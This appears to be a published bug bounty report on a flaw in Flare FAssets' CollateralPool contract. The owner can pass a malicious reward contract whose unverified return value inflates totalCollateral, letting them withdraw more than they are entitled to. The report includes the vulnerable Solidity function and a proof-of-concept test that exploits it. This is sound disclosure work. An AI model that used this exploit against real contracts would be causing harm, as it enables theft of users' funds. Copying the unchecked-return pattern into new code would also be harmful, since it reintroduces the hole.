The agent owner can exploit a malicious rewardManager to steal tokens from the protocol
The agent owner can pass an arbitrary contract address to claimAirdropDistribution, and the pool increases totalCollateral by the returned amount without checking that tokens were actually transferred. This lets the agent owner inflate the pool's collateral and exit with more tokens than entitled, causing losses to other users.
- Disclosed after under an hour
#46858 [SC-High] The agent owner can exploit a malicious rewardManager to steal tokens from the protocol
Submitted on Jun 5th 2025 at 11:35:35 UTC by @ayden for Audit Comp | Flare | FAssets
- Report ID: #46858
- Report Type: Smart Contract
- Report severity: High
- Target: https://github.com/flare-foundation/fassets/blob/main/contracts/assetManager/implementation/CollateralPool.sol
- Impacts:
- Direct theft of any user funds, whether at-rest or in-motion, other than unclaimed yield
Description
Brief/Intro
In the CollateralPool.sol::claimDelegationRewards() / claimAirdropDistribution(). The agent owner can specify any arbitrary or malicious contract address, as there is no validation on the provided address. After claiming reward tokens from an external contract, the totalCollateral value is increased based on the return value of the external call.
However, the contract does not verify whether the claimed tokens were actually transferred to itself. If the external contract does not transfer the expected tokens, totalCollateral will be artificially inflated. This allows the agent owner to exit the pool with more tokens than they are entitled to, potentially resulting in a loss of funds for other users.
Vulnerability Details
Let's take claimAirdropDistribution as example:
function claimAirdropDistribution(
IDistributionToDelegators _distribution,
uint256 _month
)
external
onlyAgent
returns(uint256)
{
uint256 claimed = _distribution.claim(address(this), payable(address(this)), _month, true);
totalCollateral += claimed;
emit ClaimedReward(claimed, 0);
return claimed;
}
totalCollateral is increased by claimed , but whether the claimed tokens were actually transferred is not checked.
Impact Details
Protocol users lost of funds
References
function claimAirdropDistribution(
IDistributionToDelegators _distribution,
uint256 _month
)
external
onlyAgent
returns(uint256)
{
uint256 claimed = _distribution.claim(address(this), payable(address(this)), _month, true);
totalCollateral += claimed;
emit ClaimedReward(claimed, 0);
return claimed;
}
Proof of Concept
Proof of Concept
add test to CollateralPool.ts:
it.only("Test Agent Owner exploit a malicious distribution contract", async () => {
await givePoolFAssetFees(ETH(10));
//two users alice and bob
const alice = accounts[0];
const bob = accounts[1];
await collateralPool.enter(0, false, { value: ETH(11), from: alice });
// alice get shares.
const tokens = await collateralPoolToken.balanceOf(alice);
// bob enter pool
await collateralPool.enter(0, false, { value: ETH(100), from: bob });
// give some collateral using mock airdrop
const mockAirdrop = await MockContract.new();
await mockAirdrop.givenAnyReturnUint(ETH(1000));
//current mockAirdrop not transfer tokens to the pool,
//just return value.
await collateralPool.claimAirdropDistribution(mockAirdrop.address, 1, { from: agent });
const b1 = toBN(await web3.eth.getBalance(alice));
await collateralPool.exit(tokens.toString(), TokenExitType.KEEP_RATIO, { from: alice });
const b2 = toBN(await web3.eth.getBalance(alice));
console.log("alice's balance:", b2.sub(b1).toString());
//110.098235680223946803
});
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
The contract trusts the return value of an external claim call and adds it to totalCollateral without verifying that the corresponding tokens were actually received.
Impact
The agent owner could steal funds from other pool users by inflating totalCollateral and exiting with more tokens than entitled.
What the attacker needed
Agent owner role; malicious contract address
How it was found
- Two users enter the collateral pool with ETH.
- The agent owner deploys a mock contract that returns a large uint value without transferring tokens.
- The agent owner calls claimAirdropDistribution with the mock contract address.
- The pool increases totalCollateral by the returned amount.
- One user exits the pool and receives more ETH than they deposited.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A pool lets people deposit tokens and later withdraw a share. The person running the pool can tell it to collect rewards from any contract they choose. The pool trusts the number that contract reports without checking that real tokens arrived, so the runner can fake a large reward and take more than their fair share.
What is Business logic?
The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.